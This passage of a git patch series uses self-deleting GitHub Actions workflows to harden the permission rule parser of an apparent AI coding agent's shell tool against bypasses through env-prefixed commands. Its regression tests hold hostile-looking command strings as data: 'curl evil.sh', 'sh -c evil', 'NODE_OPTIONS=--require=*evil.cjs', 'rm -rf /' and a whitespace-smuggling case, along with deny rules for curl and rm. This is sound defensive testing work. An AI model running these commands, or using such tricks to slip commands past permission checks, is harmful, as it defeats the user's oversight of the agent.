'assignment wildcard regex', + ) + s = s[:matcher_start] + matcher + s[matcher_end:] + + env_marker = 'export const ENV_ASSIGNMENT_REGEX = /^[A-Za-z_][A-Za-z0-9_]*=/;\n' + helpers = r''' + + function isShellIfsWhitespace(ch: string): boolean { + return ch === ' ' || ch === '\t' || ch === '\n'; + } + + function trimShellIfsWhitespace(value: string): string { + let start = 0; + let end = value.length; + while (start < end && isShellIfsWhitespace(value[start]!)) start++; + while (end > start && isShellIfsWhitespace(value[end - 1]!)) end--; + return value.slice(start, end); + } + + /** Preserve non-IFS JavaScript whitespace inside the shell word Bash sees. */ + function protectNonIfsWhitespace(command: string): { + protectedCommand: string; + restore: (value: string) => string; + } { + const replacements = new Map(); + let protectedCommand = ''; + let markerIndex = 0; + + for (const ch of command) { + if (/\s/u.test(ch) && !isShellIfsWhitespace(ch)) { + let token = `\uE000QWEN_WS_${markerIndex++}\uE001`; + while (command.includes(token) || replacements.has(token)) { + token = `\uE000QWEN_WS_${markerIndex++}\uE001`; + } + replacements.set(token, ch); + protectedCommand += token; + } else { + protectedCommand += ch; + } + } + + return { + protectedCommand, + restore(value: string): string { + let restored = value; + for (const [token, original] of replacements) { + restored = restored.replaceAll(token, original); + } + return restored; + }, + }; + } + ''' + s = once(s, env_marker, env_marker + helpers, 'IFS helper insertion') + + token_start = s.index('function permissionMatchTokens(command: string): string[] {') + token_end = s.index('\n/**\n * Return a shell command with only leading NAME=value', token_start) + token_block = s[token_start:token_end] + token_block = once( + token_block, + ' for (const token of parse(command)) {', + ' const { protectedCommand, restore } = protectNonIfsWhitespace(command);\n' + ' for (const token of parse(protectedCommand)) {', + 'protected parser', + ) + token_block = once(token_block, ' tokens.push(token);', ' tokens.push(restore(token));', 'restore token') + token_block = once(token_block, ' tokens.push(token.pattern);', ' tokens.push(restore(token.pattern));', 'restore glob') + s = s[:token_start] + token_block + s[token_end:] + + strip_start = s.index('export function stripLeadingVariableAssignments(command: string): string {') + strip_end = s.index('\n/** Collapse shell-equivalent whitespace', strip_start) + strip_block = s[strip_start:strip_end] + strip_block = once( + strip_block, + ' const trimmed = command.trim();', + ' const trimmed = trimShellIfsWhitespace(command);', + 'strip trim', + ) + s = s[:strip_start] + strip_block + s[strip_end:] + + collapse_start = s.index('function collapseUnquotedWhitespace(command: string): string {') + collapse_end = s.index('\nfunction isAssignmentOnlyPermissionPattern', collapse_start) + collapse_block = s[collapse_start:collapse_end] + collapse_block = once( + collapse_block, + ' if (/\\s/.test(ch)) {', + ' if (isShellIfsWhitespace(ch)) {', + 'IFS collapse', + ) + s = s[:collapse_start] + collapse_block + s[collapse_end:] + s = once( + s, + '/** Collapse shell-equivalent whitespace outside quotes while retaining quotes. */', + '/** Collapse Bash-IFS whitespace outside quotes while retaining quotes. */', + 'collapse comment', + ) + + wildcard_helper = r''' + function findUnquotedAssignmentValueWildcardPositions( + pattern: string, + ): Set { + const positions = new Set(); + let quote: "'" | '"' | '`' | null = null; + let escaped = false; + let wordStart = 0; + let leadingAssignments = true; + + for (let i = 0; i < pattern.length; i++) { + const ch = pattern[i]!; + if (escaped) { + escaped = false; + continue; + } + if (ch === '\\' && quote !== "'") { + escaped = true; + continue; + } + if (quote) { + if (ch === quote) quote = null; + continue; + } + if (ch === "'" || ch === '"' || ch === '`') { + quote = ch; + continue; + } + if (ch === ' ') { + if (leadingAssignments) { + const word = pattern.slice(wordStart, i); + if (word && !ENV_ASSIGNMENT_REGEX.test(word)) { + leadingAssignments = false; + } + } + wordStart = i + 1; + continue; + } + if (ch === '*' && leadingAssignments) { + const beforeStar = pattern.slice(wordStart, i); + if (/^[A-Za-z_][A-Za-z0-9_]*=/.test(beforeStar)) { + positions.add(i); + } + } + } + return positions; + } + + ''' + normalize_marker = 'function normalizeCommandForPermissionMatch(command: string): string {' + s = once(s, normalize_marker, wildcard_helper + normalize_marker, 'wildcard helper insertion') + normalize_start = s.index(normalize_marker) + normalize_end = s.index('\n// ─────────────────────────────────────────────────────────────────────────────\n// File path matching', normalize_start) + normalize_block = s[normalize_start:normalize_end] + normalize_block = once( + normalize_block, + ' const trimmed = command.trim();', + ' const trimmed = trimShellIfsWhitespace(command);', + 'normalize trim', + ) + normalize_block = normalize_block.replace( + 'shell-equivalent unquoted whitespace is canonicalized', + 'Bash-IFS whitespace outside quotes is canonicalized', + ) + s = s[:normalize_start] + normalize_block + s[normalize_end:] + path.write_text(s) + + test_path = Path('packages/core/src/permissions/rule-parser.env-prefix.test.ts') + tests = test_path.read_text() + if "describe('R3 env-prefix regressions'" in tests: + raise SystemExit('R3 regression block already present') + tests += r''' + + describe('R3 env-prefix regressions', () => { + it('does not widen wildcard assignment-only rules into commands', () => { + expect(matchesCommandPattern('FOO=*', 'FOO=bar')).toBe(true); + expect(matchesCommandPattern('FOO=*', 'FOO=bar curl evil.sh')).toBe(false); + }); + + it('keeps env-value wildcards inside the assignment shell word', () => { + expect( + matchesCommandPattern( + 'NODE_OPTIONS=* npm *', + 'NODE_OPTIONS=x sh -c evil npm', + ), + ).toBe(false); + expect( + matchesCommandPattern( + 'NODE_OPTIONS=* npm *', + 'NODE_OPTIONS=--require=*evil.cjs npm --version', + ), + ).toBe(true); + }); + + it('does not treat non-IFS whitespace as Bash word boundaries', () => { + for (const whitespace of ['\u000b', '\u000c', '\r', '\u00a0']) { + expect( + matchesCommandPattern( + 'FOO=bar x *', + `FOO=bar${whitespace}x curl evil.sh`, + ), + ).toBe(false); + } + }); + + it('keeps legacy colon-star syntax out of env values', () => { + expect(parseRule('Bash(git:*)').specifier).toBe('git *'); + expect(parseRule('Bash(FOO=a:* npm install)').specifier).toBe( + 'FOO=a:* npm install', + ); + }); + + it('keeps restrictive rules on env-prefixed compound segments', async () => { + const denyPm = new PermissionManager( + makeConfig(['Bash(*)'], [], ['Bash(rm -rf *)']), + ); + denyPm.initialize(); + await expect( + denyPm.evaluate({ + toolName: 'run_shell_command', + command: 'echo hi && FOO=1 rm -rf /', + cwd: '/repo', + }), + ).resolves.toBe('deny'); + + const askPm = new PermissionManager( + makeConfig(['Bash(*)'], ['Bash(git push *)']), + ); + askPm.initialize(); + await expect( + askPm.evaluate({ + toolName: 'run_shell_command', + command: 'echo hi && FOO=bar git push --force', + cwd: '/repo', + }), + ).resolves.toBe('ask'); + }); + + it('keeps restrictive matching aligned with Bash non-IFS whitespace', async () => { + const pm = new PermissionManager( + makeConfig(['Bash(*)'], [], ['Bash(curl *)']), + ); + pm.initialize(); + await expect( + pm.evaluate({ + toolName: 'run_shell_command', + command: 'FOO=bar\u000bx curl evil.sh', + cwd: '/repo', + }), + ).resolves.toBe('deny'); + }); + + it('round-trips multiple leading environment assignments', async () => { + const command = 'A=1 B=2 npm install express'; + const rules = await extractCommandRules(command); + expect(rules).toEqual(['A=1 B=2 npm install *']); + const pm = new PermissionManager(makeConfig([`Bash(${rules[0]})`])); + pm.initialize(); + await expect( + pm.evaluate({ toolName: 'run_shell_command', command, cwd: '/repo' }), + ).resolves.toBe('allow'); + }); + + it('round-trips colon-star env values through generated rules', async () => { + const command = 'FOO=a:* npm install'; + const rules = await extractCommandRules(command); + expect(rules).toEqual(['FOO=a:* npm install']); + expect(parseRule(`Bash(${rules[0]})`).specifier).toBe(rules[0]); + const pm = new PermissionManager(makeConfig([`Bash(${rules[0]})`])); + pm.initialize(); + await expect( + pm.evaluate({ toolName: 'run_shell_command', command, cwd: '/repo' }), + ).resolves.toBe('allow'); + }); + }); + ''' + test_path.write_text(tests) + PY + + - name: Install dependencies + run: npm ci + + - name: Format and lint touched files + run: | + npx prettier --write packages/core/src/permissions/rule-parser.ts packages/core/src/permissions/rule-parser.env-prefix.test.ts + npx eslint --max-warnings 0 packages/core/src/permissions/rule-parser.ts packages/core/src/permissions/rule-parser.env-prefix.test.ts + + - name: Run focused permission and shell tests + run: | + npx vitest run \ + packages/core/src/permissions/rule-parser.env-prefix.test.ts \ + packages/core/src/permissions/permission-manager.test.ts \ + packages/core/src/permissions/dangerousRules.test.ts \ + packages/core/src/utils/shellAstParser.test.ts \ + packages/core/src/utils/shell-ast-parser-lazy.test.ts + + - name: Commit reviewed changes and remove helpers + shell: bash + run: | + rm -f .github/workflows/finalize-pr-10212-r4.yml + rm -f .github/workflows/finalize-pr-10212-r4b.yml + rm -f .github/workflows/finalize-pr-10212-r4c.yml + rm -f .github/workflows/finalize-pr-10212-r4d.yml + git config user.name "SLP-DEV1" + git config user.email "298325363+SLP-DEV1@users.noreply.github.com" + git add -A + git diff --cached --check + git commit -m "fix(core): close env-prefix permission review gaps" + git push origin HEAD:fix/10197-env-prefix-bash-rules From 6dcd93e5230474d1de637bfb8cb6fc71d0f1e590 Mon Sep 17 00:00:00 2001 From: SLP-DEV1 Date: Mon, 31 Aug 2026 02:00:26 +0200 Subject: [PATCH 27/36] chore: finish PR 10212 review fixes --- .github/workflows/finalize-pr-10212-r4e.yml | 86 +++++++++++++++++++++ 1 file changed, 86 insertions(+) create mode 100644 .github/workflows/finalize-pr-10212-r4e.yml diff --git a/.github/workflows/finalize-pr-10212-r4e.yml b/.github/workflows/finalize-pr-10212-r4e.yml new file mode 100644 index 00000000000..58aa4525c31 --- /dev/null +++ b/.github/workflows/finalize-pr-10212-r4e.yml @@ -0,0 +1,86 @@ +name: Finalize PR 10212 R4e + +on: + push: + branches: + - fix/10197-env-prefix-bash-rules + paths: + - .github/workflows/finalize-pr-10212-r4e.yml + +permissions: + contents: write + +jobs: + apply-reviewed-fixes: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + with: + ref: fix/10197-env-prefix-bash-rules + fetch-depth: 0 + + - uses: actions/setup-node@v4 + with: + node-version: 22 + cache: npm + + - name: Reuse verified R4d source patch and fix lint-only escape + shell: bash + run: | + python3 <<'PY' + from pathlib import Path + import subprocess + import textwrap + + workflow = Path('.github/workflows/finalize-pr-10212-r4d.yml').read_text() + start_marker = " python3 <<'PY'\n" + end_marker = "\n PY\n" + start = workflow.index(start_marker) + len(start_marker) + end = workflow.index(end_marker, start) + patch_script = textwrap.dedent(workflow[start:end]) + Path('/tmp/apply_pr_10212_r4d.py').write_text(patch_script) + subprocess.run(['python3', '/tmp/apply_pr_10212_r4d.py'], check=True) + + source = Path('packages/core/src/permissions/rule-parser.ts') + text = source.read_text() + block_start = text.index('// Legacy `:*` is token syntax; never rewrite env assignment values.') + block_end = text.index(' );', block_start) + len(' );') + block = text[block_start:block_end] + fixed = block.replace('\\"', '"') + if fixed == block: + raise SystemExit('expected lint-only escaped quote was not present') + text = text[:block_start] + fixed + text[block_end:] + source.write_text(text) + PY + + - name: Install dependencies and compile monorepo + run: npm ci + + - name: Format and lint touched files + run: | + npx prettier --write packages/core/src/permissions/rule-parser.ts packages/core/src/permissions/rule-parser.env-prefix.test.ts + npx eslint --max-warnings 0 packages/core/src/permissions/rule-parser.ts packages/core/src/permissions/rule-parser.env-prefix.test.ts + + - name: Run focused permission and shell tests + run: | + npx vitest run \ + packages/core/src/permissions/rule-parser.env-prefix.test.ts \ + packages/core/src/permissions/permission-manager.test.ts \ + packages/core/src/permissions/dangerousRules.test.ts \ + packages/core/src/utils/shellAstParser.test.ts \ + packages/core/src/utils/shell-ast-parser-lazy.test.ts + + - name: Commit reviewed changes and remove helper workflows + shell: bash + run: | + rm -f .github/workflows/finalize-pr-10212-r4.yml + rm -f .github/workflows/finalize-pr-10212-r4b.yml + rm -f .github/workflows/finalize-pr-10212-r4c.yml + rm -f .github/workflows/finalize-pr-10212-r4d.yml + rm -f .github/workflows/finalize-pr-10212-r4e.yml + git config user.name "SLP-DEV1" + git config user.email "298325363+SLP-DEV1@users.noreply.github.com" + git add -A + git diff --cached --check + git commit -m "fix(core): close env-prefix permission review gaps" + git push origin HEAD:fix/10197-env-prefix-bash-rules From fa6b60118b6c1cb3afb5db7c45b38585c46e60fe Mon Sep 17 00:00:00 2001 From: SLP-DEV1 <298325363+SLP-DEV1@users.noreply.github.com> Date: Mon, 31 Aug 2026 00:06:50 +0000 Subject: [PATCH 28/36] fix(core): close env-prefix permission review gaps --- .github/workflows/finalize-pr-10212-r4.yml | 750 ------------------ .github/workflows/finalize-pr-10212-r4b.yml | 441 ---------- .github/workflows/finalize-pr-10212-r4c.yml | 356 --------- .github/workflows/finalize-pr-10212-r4d.yml | 399 ---------- .github/workflows/finalize-pr-10212-r4e.yml | 86 -- .../rule-parser.env-prefix.test.ts | 103 +++ packages/core/src/permissions/rule-parser.ts | 133 +++- 7 files changed, 225 insertions(+), 2043 deletions(-) delete mode 100644 .github/workflows/finalize-pr-10212-r4.yml delete mode 100644 .github/workflows/finalize-pr-10212-r4b.yml delete mode 100644 .github/workflows/finalize-pr-10212-r4c.yml delete mode 100644 .github/workflows/finalize-pr-10212-r4d.yml delete mode 100644 .github/workflows/finalize-pr-10212-r4e.yml diff --git a/.github/workflows/finalize-pr-10212-r4.yml b/.github/workflows/finalize-pr-10212-r4.yml deleted file mode 100644 index fc09ad6129d..00000000000 --- a/.github/workflows/finalize-pr-10212-r4.yml +++ /dev/null @@ -1,750 +0,0 @@ -name: Finalize PR 10212 R4 - -on: - push: - branches: - - fix/10197-env-prefix-bash-rules - paths: - - .github/workflows/finalize-pr-10212-r4.yml - -permissions: - contents: write - -jobs: - apply-reviewed-fixes: - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v4 - with: - ref: fix/10197-env-prefix-bash-rules - fetch-depth: 0 - - - uses: actions/setup-node@v4 - with: - node-version: 22 - cache: npm - - - name: Apply R3 review fixes and regression tests - shell: bash - run: | - python3 <<'PY' - from pathlib import Path - - def replace_once(text: str, old: str, new: str, label: str) -> str: - count = text.count(old) - if count != 1: - raise SystemExit(f'{label}: expected exactly one match, found {count}') - return text.replace(old, new, 1) - - parser_path = Path('packages/core/src/permissions/rule-parser.ts') - parser = parser_path.read_text() - - parser = replace_once( - parser, - r''' if (specifierKind === 'command') { - rawSpecifier = rawSpecifier.replace(/:(\*)/g, ' $1'); - } - ''', - r''' if (specifierKind === 'command') { - // Legacy `:*` is a token-level shorthand. Do not rewrite occurrences - // inside env assignment values, which are now part of Bash identity. - rawSpecifier = rawSpecifier.replace( - /(^|[ \t\n])([^ \t\n="'`=]+):\*(?=$|[ \t\n])/g, - '$1$2 *', - ); - } - ''', - 'scope legacy colon-star rewrite', - ) - - old_matcher = r'''export function matchesCommandPattern( - pattern: string, - command: string, - ): boolean { - // This function matches a single pattern against a single simple command. - // Compound command splitting is handled by the caller (PermissionManager). - const normalizedCommand = normalizeCommandForPermissionMatch(command); - const normalizedPattern = collapseUnquotedWhitespace(pattern.trim()); - - // Special case: lone `*` matches any single command. - if (normalizedPattern === '*') { - return true; - } - - if (!normalizedPattern.includes('*')) { - // An assignment-only rule is an identity, not a command prefix. Without - // this guard `Bash(FOO=bar)` would authorize `FOO=bar `. - if (isAssignmentOnlyPermissionPattern(normalizedPattern)) { - return normalizedCommand === normalizedPattern; - } - - // No wildcards: prefix matching (backward compat). - // "git commit" matches "git commit" and "git commit -m test" - // but NOT "gitcommit". - return ( - normalizedCommand === normalizedPattern || - normalizedCommand.startsWith(normalizedPattern + ' ') - ); - } - - // Build regex from glob pattern with word-boundary semantics. - let regex = '^'; - let pos = 0; - - while (pos < normalizedPattern.length) { - const starIdx = normalizedPattern.indexOf('*', pos); - if (starIdx === -1) { - regex += escapeRegex(normalizedPattern.substring(pos)); - break; - } - - const literalBefore = normalizedPattern.substring(pos, starIdx); - - if (starIdx > 0 && normalizedPattern[starIdx - 1] === ' ') { - const literalWithoutTrailingSpace = literalBefore.slice(0, -1); - regex += escapeRegex(literalWithoutTrailingSpace); - regex += '( .*)?'; - } else { - regex += escapeRegex(literalBefore); - regex += '.*'; - } - - pos = starIdx + 1; - } - - regex += '$'; - - try { - return new RegExp(regex, 's').test(normalizedCommand); - } catch { - return normalizedCommand === normalizedPattern; - } - } - ''' - - new_matcher = r'''export function matchesCommandPattern( - pattern: string, - command: string, - ): boolean { - // This function matches a single pattern against a single simple command. - // Compound command splitting is handled by the caller (PermissionManager). - const normalizedCommand = normalizeCommandForPermissionMatch(command); - const normalizedPattern = collapseUnquotedWhitespace( - trimShellIfsWhitespace(pattern), - ); - - // Special case: lone `*` matches any single command. - if (normalizedPattern === '*') { - return true; - } - - // Assignment-only rules are identities, never command prefixes. Keep this - // invariant above the wildcard split so `Bash(FOO=*)` cannot authorize - // `FOO=value `. - if ( - isAssignmentOnlyPermissionPattern(normalizedPattern) && - !isAssignmentOnlyPermissionPattern(normalizedCommand) - ) { - return false; - } - - if (!normalizedPattern.includes('*')) { - if (isAssignmentOnlyPermissionPattern(normalizedPattern)) { - return normalizedCommand === normalizedPattern; - } - - // No wildcards: prefix matching (backward compat). - // "git commit" matches "git commit" and "git commit -m test" - // but NOT "gitcommit". - return ( - normalizedCommand === normalizedPattern || - normalizedCommand.startsWith(normalizedPattern + ' ') - ); - } - - // Build regex from glob pattern with word-boundary semantics. An unquoted - // wildcard in a leading NAME=value word is constrained to that shell word; - // otherwise it could consume whitespace and match a different executable. - const assignmentValueWildcards = - findUnquotedAssignmentValueWildcardPositions(normalizedPattern); - let regex = '^'; - let pos = 0; - - while (pos < normalizedPattern.length) { - const starIdx = normalizedPattern.indexOf('*', pos); - if (starIdx === -1) { - regex += escapeRegex(normalizedPattern.substring(pos)); - break; - } - - const literalBefore = normalizedPattern.substring(pos, starIdx); - - if (starIdx > 0 && normalizedPattern[starIdx - 1] === ' ') { - const literalWithoutTrailingSpace = literalBefore.slice(0, -1); - regex += escapeRegex(literalWithoutTrailingSpace); - regex += '( .*)?'; - } else { - regex += escapeRegex(literalBefore); - regex += assignmentValueWildcards.has(starIdx) ? '[^ ]*' : '.*'; - } - - pos = starIdx + 1; - } - - regex += '$'; - - try { - return new RegExp(regex, 's').test(normalizedCommand); - } catch { - return normalizedCommand === normalizedPattern; - } - } - ''' - parser = replace_once(parser, old_matcher, new_matcher, 'replace command matcher') - - old_helpers = r'''export const ENV_ASSIGNMENT_REGEX = /^[A-Za-z_][A-Za-z0-9_]*=/; - - function permissionMatchTokens(command: string): string[] { - const tokens: string[] = []; - for (const token of parse(command)) { - if (typeof token === 'string') { - tokens.push(token); - } else if (token && typeof token === 'object' && 'op' in token) { - if ( - token.op === 'glob' && - 'pattern' in token && - typeof token.pattern === 'string' - ) { - // shell-quote represents unquoted * / ? words as glob tokens. Keep - // the original word so env assignments remain recognizable. - tokens.push(token.pattern); - } else if (typeof token.op === 'string') { - tokens.push(token.op); - } - } - } - return tokens; - } - - /** - * Return a shell command with only leading NAME=value assignments removed. - * Restrictive deny/ask matching uses this legacy identity in addition to the - * full identity so the new allow hardening can never narrow a restriction. - */ - export function stripLeadingVariableAssignments(command: string): string { - const trimmed = command.trim(); - if (!trimmed) return trimmed; - - try { - const tokens = permissionMatchTokens(trimmed); - let firstCommandToken = 0; - while ( - firstCommandToken < tokens.length && - ENV_ASSIGNMENT_REGEX.test(tokens[firstCommandToken]!) - ) { - firstCommandToken++; - } - if (firstCommandToken === 0) return trimmed; - return tokens.slice(firstCommandToken).join(' '); - } catch { - return trimmed; - } - } - - /** Collapse shell-equivalent whitespace outside quotes while retaining quotes. */ - function collapseUnquotedWhitespace(command: string): string { - let result = ''; - let quote: "'" | '"' | '`' | null = null; - let escaped = false; - let pendingSpace = false; - - for (const ch of command) { - if (escaped) { - result += ch; - escaped = false; - continue; - } - if (ch === '\\' && quote !== "'") { - if (pendingSpace && result) result += ' '; - pendingSpace = false; - result += ch; - escaped = true; - continue; - } - if (quote) { - result += ch; - if (ch === quote) quote = null; - continue; - } - if (ch === "'" || ch === '"' || ch === '`') { - if (pendingSpace && result) result += ' '; - pendingSpace = false; - quote = ch; - result += ch; - continue; - } - if (/\s/.test(ch)) { - if (result) pendingSpace = true; - continue; - } - if (pendingSpace && result) result += ' '; - pendingSpace = false; - result += ch; - } - - return result; - } - - function isAssignmentOnlyPermissionPattern(pattern: string): boolean { - try { - const tokens = permissionMatchTokens(pattern); - return ( - tokens.length > 0 && - tokens.every((token) => ENV_ASSIGNMENT_REGEX.test(token)) - ); - } catch { - return false; - } - } - - function normalizeCommandForPermissionMatch(command: string): string { - const trimmed = command.trim(); - if (!trimmed) return trimmed; - - try { - const tokens = permissionMatchTokens(trimmed); - let firstCommandToken = 0; - while ( - firstCommandToken < tokens.length && - ENV_ASSIGNMENT_REGEX.test(tokens[firstCommandToken]!) - ) { - firstCommandToken++; - } - - // Allow rules bind to the complete env-prefixed execution identity, but - // shell-equivalent unquoted whitespace is canonicalized on both sides. - if (firstCommandToken > 0) { - return collapseUnquotedWhitespace(trimmed); - } - - return tokens.join(' '); - } catch { - return collapseUnquotedWhitespace(trimmed); - } - } - ''' - - new_helpers = r'''export const ENV_ASSIGNMENT_REGEX = /^[A-Za-z_][A-Za-z0-9_]*=/; - - function isShellIfsWhitespace(ch: string): boolean { - return ch === ' ' || ch === '\t' || ch === '\n'; - } - - function trimShellIfsWhitespace(value: string): string { - let start = 0; - let end = value.length; - while (start < end && isShellIfsWhitespace(value[start]!)) start++; - while (end > start && isShellIfsWhitespace(value[end - 1]!)) end--; - return value.slice(start, end); - } - - /** - * shell-quote treats JavaScript whitespace more broadly than Bash's default - * IFS. Protect non-IFS whitespace so it remains inside the shell word Bash - * would actually execute, then restore it in the parsed token text. - */ - function protectNonIfsWhitespace(command: string): { - protectedCommand: string; - restore: (value: string) => string; - } { - const replacements = new Map(); - let protectedCommand = ''; - let markerIndex = 0; - - for (const ch of command) { - if (/\s/u.test(ch) && !isShellIfsWhitespace(ch)) { - let marker = `\uE000QWEN_WS_${markerIndex++}\uE001`; - while (command.includes(marker) || replacements.has(marker)) { - marker = `\uE000QWEN_WS_${markerIndex++}\uE001`; - } - replacements.set(marker, ch); - protectedCommand += marker; - } else { - protectedCommand += ch; - } - } - - return { - protectedCommand, - restore(value: string): string { - let restored = value; - for (const [marker, original] of replacements) { - restored = restored.replaceAll(marker, original); - } - return restored; - }, - }; - } - - function permissionMatchTokens(command: string): string[] { - const tokens: string[] = []; - const { protectedCommand, restore } = protectNonIfsWhitespace(command); - for (const token of parse(protectedCommand)) { - if (typeof token === 'string') { - tokens.push(restore(token)); - } else if (token && typeof token === 'object' && 'op' in token) { - if ( - token.op === 'glob' && - 'pattern' in token && - typeof token.pattern === 'string' - ) { - // shell-quote represents unquoted * / ? words as glob tokens. Keep - // the original word so env assignments remain recognizable. - tokens.push(restore(token.pattern)); - } else if (typeof token.op === 'string') { - tokens.push(token.op); - } - } - } - return tokens; - } - - /** - * Return a shell command with only leading NAME=value assignments removed. - * Restrictive deny/ask matching uses this legacy identity in addition to the - * full identity so the new allow hardening can never narrow a restriction. - */ - export function stripLeadingVariableAssignments(command: string): string { - const trimmed = trimShellIfsWhitespace(command); - if (!trimmed) return trimmed; - - try { - const tokens = permissionMatchTokens(trimmed); - let firstCommandToken = 0; - while ( - firstCommandToken < tokens.length && - ENV_ASSIGNMENT_REGEX.test(tokens[firstCommandToken]!) - ) { - firstCommandToken++; - } - if (firstCommandToken === 0) return trimmed; - return tokens.slice(firstCommandToken).join(' '); - } catch { - return trimmed; - } - } - - /** Collapse Bash-IFS whitespace outside quotes while retaining quotes. */ - function collapseUnquotedWhitespace(command: string): string { - let result = ''; - let quote: "'" | '"' | '`' | null = null; - let escaped = false; - let pendingSpace = false; - - for (const ch of command) { - if (escaped) { - result += ch; - escaped = false; - continue; - } - if (ch === '\\' && quote !== "'") { - if (pendingSpace && result) result += ' '; - pendingSpace = false; - result += ch; - escaped = true; - continue; - } - if (quote) { - result += ch; - if (ch === quote) quote = null; - continue; - } - if (ch === "'" || ch === '"' || ch === '`') { - if (pendingSpace && result) result += ' '; - pendingSpace = false; - quote = ch; - result += ch; - continue; - } - if (isShellIfsWhitespace(ch)) { - if (result) pendingSpace = true; - continue; - } - if (pendingSpace && result) result += ' '; - pendingSpace = false; - result += ch; - } - - return result; - } - - function isAssignmentOnlyPermissionPattern(pattern: string): boolean { - try { - const tokens = permissionMatchTokens(pattern); - return ( - tokens.length > 0 && - tokens.every((token) => ENV_ASSIGNMENT_REGEX.test(token)) - ); - } catch { - return false; - } - } - - function findUnquotedAssignmentValueWildcardPositions( - pattern: string, - ): Set { - const positions = new Set(); - let quote: "'" | '"' | '`' | null = null; - let escaped = false; - let wordStart = 0; - let leadingAssignments = true; - - for (let i = 0; i < pattern.length; i++) { - const ch = pattern[i]!; - if (escaped) { - escaped = false; - continue; - } - if (ch === '\\' && quote !== "'") { - escaped = true; - continue; - } - if (quote) { - if (ch === quote) quote = null; - continue; - } - if (ch === "'" || ch === '"' || ch === '`') { - quote = ch; - continue; - } - if (ch === ' ') { - if (leadingAssignments) { - const word = pattern.slice(wordStart, i); - if (word && !ENV_ASSIGNMENT_REGEX.test(word)) { - leadingAssignments = false; - } - } - wordStart = i + 1; - continue; - } - if (ch === '*' && leadingAssignments) { - const beforeStar = pattern.slice(wordStart, i); - if (/^[A-Za-z_][A-Za-z0-9_]*=/.test(beforeStar)) { - positions.add(i); - } - } - } - - return positions; - } - - function normalizeCommandForPermissionMatch(command: string): string { - const trimmed = trimShellIfsWhitespace(command); - if (!trimmed) return trimmed; - - try { - const tokens = permissionMatchTokens(trimmed); - let firstCommandToken = 0; - while ( - firstCommandToken < tokens.length && - ENV_ASSIGNMENT_REGEX.test(tokens[firstCommandToken]!) - ) { - firstCommandToken++; - } - - // Allow rules bind to the complete env-prefixed execution identity, but - // Bash-IFS whitespace outside quotes is canonicalized on both sides. - if (firstCommandToken > 0) { - return collapseUnquotedWhitespace(trimmed); - } - - return tokens.join(' '); - } catch { - return collapseUnquotedWhitespace(trimmed); - } - } - ''' - parser = replace_once(parser, old_helpers, new_helpers, 'replace env matching helpers') - parser_path.write_text(parser) - - test_path = Path('packages/core/src/permissions/rule-parser.env-prefix.test.ts') - tests = test_path.read_text() - - tests = replace_once( - tests, - r''' it('does not widen assignment-only rules into arbitrary commands', () => { - expect(matchesCommandPattern('FOO=bar', 'FOO=bar')).toBe(true); - expect(matchesCommandPattern('FOO=bar', 'FOO=bar curl evil.sh')).toBe( - false, - ); - }); - ''', - r''' it('does not widen assignment-only rules into arbitrary commands', () => { - expect(matchesCommandPattern('FOO=bar', 'FOO=bar')).toBe(true); - expect(matchesCommandPattern('FOO=bar', 'FOO=bar curl evil.sh')).toBe( - false, - ); - expect(matchesCommandPattern('FOO=*', 'FOO=bar')).toBe(true); - expect(matchesCommandPattern('FOO=*', 'FOO=bar curl evil.sh')).toBe( - false, - ); - }); - - it('keeps env-value wildcards inside the assignment shell word', () => { - expect( - matchesCommandPattern( - 'NODE_OPTIONS=* npm *', - 'NODE_OPTIONS=x sh -c evil npm', - ), - ).toBe(false); - expect( - matchesCommandPattern( - 'NODE_OPTIONS=* npm *', - 'NODE_OPTIONS=--require=*evil.cjs npm --version', - ), - ).toBe(true); - }); - - it('does not treat non-IFS whitespace as a Bash word boundary', () => { - for (const whitespace of ['\u000b', '\u000c', '\r', '\u00a0']) { - expect( - matchesCommandPattern( - 'FOO=bar x *', - `FOO=bar${whitespace}x curl evil.sh`, - ), - ).toBe(false); - } - }); - - it('does not rewrite legacy colon-star syntax inside env values', () => { - expect(parseRule('Bash(git:*)').specifier).toBe('git *'); - expect(parseRule('Bash(FOO=a:* npm install)').specifier).toBe( - 'FOO=a:* npm install', - ); - }); - ''', - 'extend matcher regressions', - ) - - tests = replace_once( - tests, - r''' it('does not let a virtual Read allow downgrade the env-prefix ask decision', async () => { - ''', - r''' it('keeps restrictive matching on env-prefixed compound segments', async () => { - const denyPm = new PermissionManager( - makeConfig(['Bash(*)'], [], ['Bash(rm -rf *)']), - ); - denyPm.initialize(); - await expect( - denyPm.evaluate({ - toolName: 'run_shell_command', - command: 'echo hi && FOO=1 rm -rf /', - cwd: '/repo', - }), - ).resolves.toBe('deny'); - - const askPm = new PermissionManager( - makeConfig(['Bash(*)'], ['Bash(git push *)']), - ); - askPm.initialize(); - await expect( - askPm.evaluate({ - toolName: 'run_shell_command', - command: 'echo hi && FOO=bar git push --force', - cwd: '/repo', - }), - ).resolves.toBe('ask'); - }); - - it('keeps restrictive rules aligned with Bash non-IFS whitespace', async () => { - const pm = new PermissionManager( - makeConfig(['Bash(*)'], [], ['Bash(curl *)']), - ); - pm.initialize(); - await expect( - pm.evaluate({ - toolName: 'run_shell_command', - command: 'FOO=bar\u000bx curl evil.sh', - cwd: '/repo', - }), - ).resolves.toBe('deny'); - }); - - it('does not let a virtual Read allow downgrade the env-prefix ask decision', async () => { - ''', - 'add restrictive composition regressions', - ) - - tests = replace_once( - tests, - r''' it('classifies env-prefixed interpreter allows as dangerous in AUTO mode', () => { - ''', - r''' it('round-trips multiple leading environment assignments', async () => { - const command = 'A=1 B=2 npm install express'; - const rules = await extractCommandRules(command); - expect(rules).toEqual(['A=1 B=2 npm install *']); - - const pm = new PermissionManager(makeConfig([`Bash(${rules[0]})`])); - pm.initialize(); - await expect( - pm.evaluate({ - toolName: 'run_shell_command', - command, - cwd: '/repo', - }), - ).resolves.toBe('allow'); - }); - - it('round-trips colon-star env values through generated rules', async () => { - const command = 'FOO=a:* npm install'; - const rules = await extractCommandRules(command); - expect(rules).toEqual(['FOO=a:* npm install']); - expect(parseRule(`Bash(${rules[0]})`).specifier).toBe(rules[0]); - - const pm = new PermissionManager(makeConfig([`Bash(${rules[0]})`])); - pm.initialize(); - await expect( - pm.evaluate({ - toolName: 'run_shell_command', - command, - cwd: '/repo', - }), - ).resolves.toBe('allow'); - }); - - it('classifies env-prefixed interpreter allows as dangerous in AUTO mode', () => { - ''', - 'add generated-rule regressions', - ) - - test_path.write_text(tests) - PY - - - name: Install dependencies - run: npm ci - - - name: Format and lint touched files - 